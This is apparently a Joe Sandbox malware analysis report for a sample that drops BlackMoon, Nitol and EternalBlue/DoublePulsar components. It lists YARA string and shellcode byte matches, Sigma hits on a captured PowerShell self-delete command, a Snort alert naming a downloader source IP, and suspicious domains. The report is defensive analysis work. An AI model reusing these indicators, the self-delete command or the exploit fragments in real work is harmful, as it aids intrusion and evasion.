11.2.svchost.exe.400000.0.unpack	MAL_Nitol_Malware_Jan19_1	Detects Nitol Malware	Florian Roth	0x1b701:$n1: .htmGET 0x1b729:$n1: .htmGET 0x1b76c:$n1: .htmGET 0x1b7bc:$n1: .htmGET 0x1b7c9:$n1: .htmGET 0x1b7f1:$n1: .htmGET 0x1b80b:$n1: .htmGET 0x1b833:$n1: .htmGET 0x1b876:$n1: .htmGET 0x1b8c6:$n1: .htmGET 0x1b8d3:$n1: .htmGET 0x1b8fb:$n1: .htmGET 0x1b915:$n1: .htmGET 0x1b93d:$n1: .htmGET 0x1b980:$n1: .htmGET 0x1b9d0:$n1: .htmGET 0x1b9dd:$n1: .htmGET 0x1ba05:$n1: .htmGET 0x1ba1f:$n1: .htmGET 0x1ba47:$n1: .htmGET 0x1ba8a:$n1: .htmGET
11.2.svchost.exe.400000.0.unpack	MALWARE_Win_Nitol	Detects Nitol backdoor	ditekSHen	0x1b709:$s1: %$#@!.aspGET ^&().htmlGET 0x1b731:$s1: %$#@!.aspGET ^&().htmlGET 0x1b74c:$s1: %$#@!.aspGET ^&().htmlGET 0x1b774:$s1: %$#@!.aspGET ^&().htmlGET 0x1b78f:$s1: %$#@!.aspGET ^&().htmlGET 0x1b7d1:$s1: %$#@!.aspGET ^&().htmlGET 0x1b813:$s1: %$#@!.aspGET ^&().htmlGET 0x1b83b:$s1: %$#@!.aspGET ^&().htmlGET 0x1b856:$s1: %$#@!.aspGET ^&().htmlGET 0x1b87e:$s1: %$#@!.aspGET ^&().htmlGET 0x1b899:$s1: %$#@!.aspGET ^&().htmlGET 0x1b8db:$s1: %$#@!.aspGET ^&().htmlGET 0x1b91d:$s1: %$#@!.aspGET ^&().htmlGET 0x1b945:$s1: %$#@!.aspGET ^&().htmlGET 0x1b960:$s1: %$#@!.aspGET ^&().htmlGET 0x1b988:$s1: %$#@!.aspGET ^&().htmlGET 0x1b9a3:$s1: %$#@!.aspGET ^&().htmlGET 0x1b9e5:$s1: %$#@!.aspGET ^&().htmlGET 0x1ba27:$s1: %$#@!.aspGET ^&().htmlGET 0x1ba4f:$s1: %$#@!.aspGET ^&().htmlGET 0x1ba6a:$s1: %$#@!.aspGET ^&*().htmlGET
4.2.MpMgSvc.exe.4e0bc0.6.raw.unpack	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
4.2.MpMgSvc.exe.4e0bc0.6.raw.unpack	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x13e7bc:$s1: blackmoon 0x13e7fc:$s2: BlackMoon RunTime Error:
63.2.Wmicc.exe.400000.0.unpack	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
63.2.Wmicc.exe.400000.0.unpack	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x162a9c:$s1: blackmoon 0x162adc:$s2: BlackMoon RunTime Error:
1.0.MSSQLH.exe.42b54f.1.raw.unpack	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
1.0.MSSQLH.exe.42b54f.1.raw.unpack	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x3d451:$s1: blackmoon 0x3d491:$s2: BlackMoon RunTime Error:
63.0.Wmicc.exe.400000.0.unpack	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
63.0.Wmicc.exe.400000.0.unpack	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x162a9c:$s1: blackmoon 0x162adc:$s2: BlackMoon RunTime Error:
0.2.38iGnQnL33.exe.44485e.2.raw.unpack	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
0.2.38iGnQnL33.exe.44485e.2.raw.unpack	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x3d451:$s1: blackmoon 0x3d491:$s2: BlackMoon RunTime Error:
4.2.MpMgSvc.exe.4bc8e0.4.raw.unpack	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
4.2.MpMgSvc.exe.4bc8e0.4.raw.unpack	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x162a9c:$s1: blackmoon 0x162adc:$s2: BlackMoon RunTime Error:
4.2.MpMgSvc.exe.4bc8e0.4.unpack	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
0.2.38iGnQnL33.exe.400000.0.unpack	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
4.2.MpMgSvc.exe.4bc8e0.4.unpack	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x162a9c:$s1: blackmoon 0x162adc:$s2: BlackMoon RunTime Error:
0.2.38iGnQnL33.exe.400000.0.unpack	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x810af:$s1: blackmoon 0x810ef:$s2: BlackMoon RunTime Error:
4.2.MpMgSvc.exe.63d35e.5.raw.unpack	JoeSecurity_ETERNALBLUE	Yara detected ETERNALBLUE	Joe Security
4.2.MpMgSvc.exe.63d35e.5.raw.unpack	JoeSecurity_DoublePulsar	Yara detected DoublePulsar	Joe Security
4.2.MpMgSvc.exe.63d35e.5.raw.unpack	Windows_Exploit_Eternalblue_ead33bf8	unknown	unknown	0x1387e:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x15016:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x165ce:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x1d176:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x1e90e:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x1fec6:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x2660a:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x27ca6:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x29176:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x2f8b2:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x30f4e:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x3241e:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x353be:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x38366:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x3b7c2:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x3ec42:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x4583e:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x46ff6:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x485ca:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x4f19e:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x50956:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75
4.2.MpMgSvc.exe.63d35e.5.raw.unpack	EquationGroup_Toolset_Apr17_Eternalromance	Detects EquationGroup Tool - April Leak	Florian Roth	0xb3bcc:$x1: [-] Error: Exploit choice not supported for target OS!! 0xb3877:$x2: Error: Target machine out of NPP memory (VERY BAD!!) - Backdoor removed 0xb3950:$x3: [-] Error: Backdoor not present on target 0xb25fb:$x4: ********* TARGET ARCHITECTURE IS X64 **********
4.2.MpMgSvc.exe.63d35e.5.raw.unpack	INDICATOR_TOOL_EXP_EternalBlue	Detects Windows executables containing EternalBlue explitation artifacts	ditekSHen	0x3129:$ci2: coli_ 0x3135:$ci2: coli_ 0x3141:$ci2: coli_ 0x3151:$ci2: coli_ 0x315c:$ci2: coli_ 0x316c:$ci2: coli_ 0x822f1:$ci2: coli_ 0x82305:$ci2: coli_ 0x82317:$ci2: coli_ 0x82325:$ci2: coli_ 0x82337:$ci2: coli_ 0x82345:$ci2: coli_ 0xa517f:$ci2: coli_ 0xa519b:$ci2: coli_ 0xa51af:$ci2: coli_ 0xa51c1:$ci2: coli_ 0xa51cf:$ci2: coli_ 0xa51e1:$ci2: coli_ 0xb4749:$ci2: coli_ 0xb4765:$ci2: coli_ 0xb4779:$ci2: coli_
63.0.Wmicc.exe.4242e0.2.raw.unpack	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
63.0.Wmicc.exe.4242e0.2.raw.unpack	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x13e7bc:$s1: blackmoon 0x13e7fc:$s2: BlackMoon RunTime Error:
8.2.svchost.exe.11235ba8.5.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
7.2.Hooks.exe.16778db.10.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
8.2.svchost.exe.11250453.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
4.2.MpMgSvc.exe.62494b.2.raw.unpack	JoeSecurity_ETERNALBLUE	Yara detected ETERNALBLUE	Joe Security
4.2.MpMgSvc.exe.62494b.2.raw.unpack	JoeSecurity_DoublePulsar	Yara detected DoublePulsar	Joe Security
4.2.MpMgSvc.exe.62494b.2.raw.unpack	Windows_Exploit_Eternalblue_ead33bf8	unknown	unknown	0x2c291:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x2da29:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x2efe1:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x35b89:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x37321:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x388d9:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x3f01d:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x406b9:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x41b89:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x482c5:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x49961:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x4ae31:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x4ddd1:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x50d79:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x541d5:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x57655:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x5e251:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x5fa09:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x60fdd:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x67bb1:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x69369:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75
4.2.MpMgSvc.exe.62494b.2.raw.unpack	EquationGroup_Toolset_Apr17_Eternalromance	Detects EquationGroup Tool - April Leak	Florian Roth	0xcc5df:$x1: [-] Error: Exploit choice not supported for target OS!! 0xcc28a:$x2: Error: Target machine out of NPP memory (VERY BAD!!) - Backdoor removed 0xcc363:$x3: [-] Error: Backdoor not present on target 0xcb00e:$x4: ********* TARGET ARCHITECTURE IS X64 **********
4.2.MpMgSvc.exe.62494b.2.raw.unpack	Regin_Related_Malware	Malware Sample - maybe Regin related	Florian Roth	0x115a8:$s2: %x:%x:%x:%x:%x:%x:%x:%x%c 0x9c6c8:$s4: msvcrtd.dll 0x9d422:$s4: msvcrtd.dll 0x115c4:$s5: %d.%d.%d.%d%c
4.2.MpMgSvc.exe.62494b.2.raw.unpack	INDICATOR_TOOL_EXP_EternalBlue	Detects Windows executables containing EternalBlue explitation artifacts	ditekSHen	0x1431c:$ci1: CNEFileIO_ 0x1432f:$ci1: CNEFileIO_ 0x14343:$ci1: CNEFileIO_ 0x14358:$ci1: CNEFileIO_ 0x1436d:$ci1: CNEFileIO_ 0x14383:$ci1: CNEFileIO_ 0x14395:$ci1: CNEFileIO_ 0x143b0:$ci1: CNEFileIO_ 0x143c4:$ci1: CNEFileIO_ 0x143d9:$ci1: CNEFileIO_ 0x143ec:$ci1: CNEFileIO_ 0x143fe:$ci1: CNEFileIO_ 0x14411:$ci1: CNEFileIO_ 0x14425:$ci1: CNEFileIO_ 0x1443a:$ci1: CNEFileIO_ 0x1444d:$ci1: CNEFileIO_ 0x14467:$ci1: CNEFileIO_ 0x14481:$ci1: CNEFileIO_ 0x14495:$ci1: CNEFileIO_ 0x144a8:$ci1: CNEFileIO_ 0x144bc:$ci1: CNEFileIO_
4.2.MpMgSvc.exe.640f71.1.raw.unpack	JoeSecurity_ETERNALBLUE	Yara detected ETERNALBLUE	Joe Security
4.2.MpMgSvc.exe.640f71.1.raw.unpack	JoeSecurity_DoublePulsar	Yara detected DoublePulsar	Joe Security
4.2.MpMgSvc.exe.640f71.1.raw.unpack	Windows_Exploit_Eternalblue_ead33bf8	unknown	unknown	0xfc6b:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x11403:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x129bb:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x19563:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x1acfb:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x1c2b3:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x229f7:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x24093:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x25563:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x2bc9f:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x2d33b:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x2e80b:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x317ab:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x34753:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x37baf:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x3b02f:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x41c2b:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x433e3:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x449b7:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x4b58b:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x4cd43:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75
4.2.MpMgSvc.exe.640f71.1.raw.unpack	EquationGroup_Toolset_Apr17_Eternalromance	Detects EquationGroup Tool - April Leak	Florian Roth	0xaffb9:$x1: [-] Error: Exploit choice not supported for target OS!! 0xafc64:$x2: Error: Target machine out of NPP memory (VERY BAD!!) - Backdoor removed 0xafd3d:$x3: [-] Error: Backdoor not present on target 0xae9e8:$x4: ********* TARGET ARCHITECTURE IS X64 **********
4.2.MpMgSvc.exe.640f71.1.raw.unpack	INDICATOR_TOOL_EXP_EternalBlue	Detects Windows executables containing EternalBlue explitation artifacts	ditekSHen	0x7e6de:$ci2: coli_ 0x7e6f2:$ci2: coli_ 0x7e704:$ci2: coli_ 0x7e712:$ci2: coli_ 0x7e724:$ci2: coli_ 0x7e732:$ci2: coli_ 0xa156c:$ci2: coli_ 0xa1588:$ci2: coli_ 0xa159c:$ci2: coli_ 0xa15ae:$ci2: coli_ 0xa15bc:$ci2: coli_ 0xa15ce:$ci2: coli_ 0xb0b36:$ci2: coli_ 0xb0b52:$ci2: coli_ 0xb0b66:$ci2: coli_ 0xb0b78:$ci2: coli_ 0xb0b86:$ci2: coli_ 0xb0b98:$ci2: coli_ 0x7e6d0:$ci3: mainWrapper 0xa157a:$ci3: mainWrapper 0xb0b44:$ci3: mainWrapper
7.2.Hooks.exe.1657e76.4.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
7.2.Hooks.exe.1672721.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
8.2.svchost.exe.1125560d.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
4.2.MpMgSvc.exe.400000.0.unpack	JoeSecurity_ETERNALBLUE	Yara detected ETERNALBLUE	Joe Security
4.2.MpMgSvc.exe.400000.0.unpack	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
4.2.MpMgSvc.exe.400000.0.unpack	JoeSecurity_DoublePulsar	Yara detected DoublePulsar	Joe Security
4.2.MpMgSvc.exe.400000.0.unpack	Windows_Exploit_Eternalblue_ead33bf8	unknown	unknown	0x24ffdc:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x251774:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x252d2c:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x2598d4:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x25b06c:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x25c624:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x262d68:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x264404:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x2658d4:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x26c010:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x26d6ac:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x26eb7c:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x271b1c:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x274ac4:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x277f20:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x27b3a0:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x281f9c:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x283754:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x284d28:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x28b8fc:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x28d0b4:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75
4.2.MpMgSvc.exe.400000.0.unpack	EquationGroup_Toolset_Apr17_Eternalromance	Detects EquationGroup Tool - April Leak	Florian Roth	0x2f032a:$x1: [-] Error: Exploit choice not supported for target OS!! 0x2effd5:$x2: Error: Target machine out of NPP memory (VERY BAD!!) - Backdoor removed 0x2f00ae:$x3: [-] Error: Backdoor not present on target 0x2eed59:$x4: ********* TARGET ARCHITECTURE IS X64 **********
4.2.MpMgSvc.exe.400000.0.unpack	Regin_Related_Malware	Malware Sample - maybe Regin related	Florian Roth	0x2352f3:$s2: %x:%x:%x:%x:%x:%x:%x:%x%c 0x2c0413:$s4: msvcrtd.dll 0x2c116d:$s4: msvcrtd.dll 0x23530f:$s5: %d.%d.%d.%d%c
4.2.MpMgSvc.exe.400000.0.unpack	INDICATOR_TOOL_EXP_EternalBlue	Detects Windows executables containing EternalBlue explitation artifacts	ditekSHen	0x238067:$ci1: CNEFileIO_ 0x23807a:$ci1: CNEFileIO_ 0x23808e:$ci1: CNEFileIO_ 0x2380a3:$ci1: CNEFileIO_ 0x2380b8:$ci1: CNEFileIO_ 0x2380ce:$ci1: CNEFileIO_ 0x2380e0:$ci1: CNEFileIO_ 0x2380fb:$ci1: CNEFileIO_ 0x23810f:$ci1: CNEFileIO_ 0x238124:$ci1: CNEFileIO_ 0x238137:$ci1: CNEFileIO_ 0x238149:$ci1: CNEFileIO_ 0x23815c:$ci1: CNEFileIO_ 0x238170:$ci1: CNEFileIO_ 0x238185:$ci1: CNEFileIO_ 0x238198:$ci1: CNEFileIO_ 0x2381b2:$ci1: CNEFileIO_ 0x2381cc:$ci1: CNEFileIO_ 0x2381e0:$ci1: CNEFileIO_ 0x2381f3:$ci1: CNEFileIO_ 0x238207:$ci1: CNEFileIO_
4.2.MpMgSvc.exe.400000.0.unpack	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x21e77c:$s1: blackmoon 0x21e7bc:$s2: BlackMoon RunTime Error:
Click to see the 100 entries

Sigma Signatures

System Summary

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Start-Sleep -s 2;del "C:\WINDOWS\Temp\Hooks.exe", CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Start-Sleep -s 2;del "C:\WINDOWS\Temp\Hooks.exe", CommandLine|base64offset|contains: Jy, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\WINDOWS\Temp\Hooks.exe" , ParentImage: C:\Windows\Temp\Hooks.exe, ParentProcessId: 2828, ParentProcessName: Hooks.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Start-Sleep -s 2;del "C:\WINDOWS\Temp\Hooks.exe", ProcessId: 6308, ProcessName: powershell.exe

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\system32\svchost.exe", CommandLine: "C:\Windows\system32\svchost.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: C:\Windows\SysWOW64\svchost.exe -k GraphicsPerfSvcsGroup -s GraphicsPerfSvcs, ParentImage: C:\Windows\SysWOW64\svchost.exe, ParentProcessId: 3980, ParentProcessName: svchost.exe, ProcessCommandLine: "C:\Windows\system32\svchost.exe", ProcessId: 1420, ProcessName: svchost.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Start-Sleep -s 2;del "C:\WINDOWS\Temp\Hooks.exe", CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Start-Sleep -s 2;del "C:\WINDOWS\Temp\Hooks.exe", CommandLine|base64offset|contains: Jy, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\WINDOWS\Temp\Hooks.exe" , ParentImage: C:\Windows\Temp\Hooks.exe, ParentProcessId: 2828, ParentProcessName: Hooks.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Start-Sleep -s 2;del "C:\WINDOWS\Temp\Hooks.exe", ProcessId: 6308, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\SysWOW64\svchost.exe -k GraphicsPerfSvcsGroup -s GraphicsPerfSvcs, CommandLine: C:\Windows\SysWOW64\svchost.exe -k GraphicsPerfSvcsGroup -s GraphicsPerfSvcs, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\SysWOW64\svchost.exe -k GraphicsPerfSvcsGroup -s GraphicsPerfSvcs, ProcessId: 3980, ProcessName: svchost.exe

Snort Signatures

ETPRO TROJAN Downloader Receiving Likely APT.Rexpot Variant - Source IP: 81.28.12.12 - Destination IP: 192.168.2.4

Timestamp:	06/29/24-08:04:56.737488
SID:	2819992
Source Port:	80
Destination Port:	49731
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 38iGnQnL33.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Windows\Logs\RunDllExe.dll	Avira: detection malicious, Label: TR/Beaugrit.aba
Source: C:\Windows\Microsoft.NET\ctfmoon.exe	Avira: detection malicious, Label: TR/Redcap.gubrb
Source: C:\Users\user\Desktop\MSSQLH.exe	Avira: detection malicious, Label: TR/Beaugrit.aba
Source: C:\Windows\Microsoft.NET\Framework\v3.0\WmiPrvSER.exe	Avira: detection malicious, Label: HEUR/AGEN.1313076

Multi AV Scanner detection for domain / URL

Source: www.4i7i.com	Virustotal: Detection: 5%	Perma Link
Source: www.362-com.com	Virustotal: Detection: 7%	Perma Link
Source: members.3322.org	Virustotal: Detection: 5%	Perma Link
Source: down.ftp21.cc	Virustotal: Detection: 15%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\Desktop\MSSQLH.exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\Desktop\MSSQLH.exe	Virustotal: Detection: 71%	Perma Link
Source: C:\Windows\Microsoft.NET\Framework\v3.0\WmiPrvSER.exe	ReversingLabs: Detection: 83%
Source: C:\Windows\Microsoft.NET\Framework\v3.0\WmiPrvSER.exe	Virustotal: Detection: 76%	Perma Link
Source: C:\Windows\Microsoft.NET\ctfmoon.exe	ReversingLabs: Detection: 65%
Source: C:\Windows\Microsoft.NET\ctfmoon.exe	Virustotal: Detection: 61%	Perma Link

Multi AV Scanner detection for submitted file

Source: 38iGnQnL33.exe	ReversingLabs: Detection: 71%
Source: 38iGnQnL33.exe	Virustotal: Detection: 78%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\Users\user\Desktop\MSSQLH.exe	Joe Sandbox ML: detected
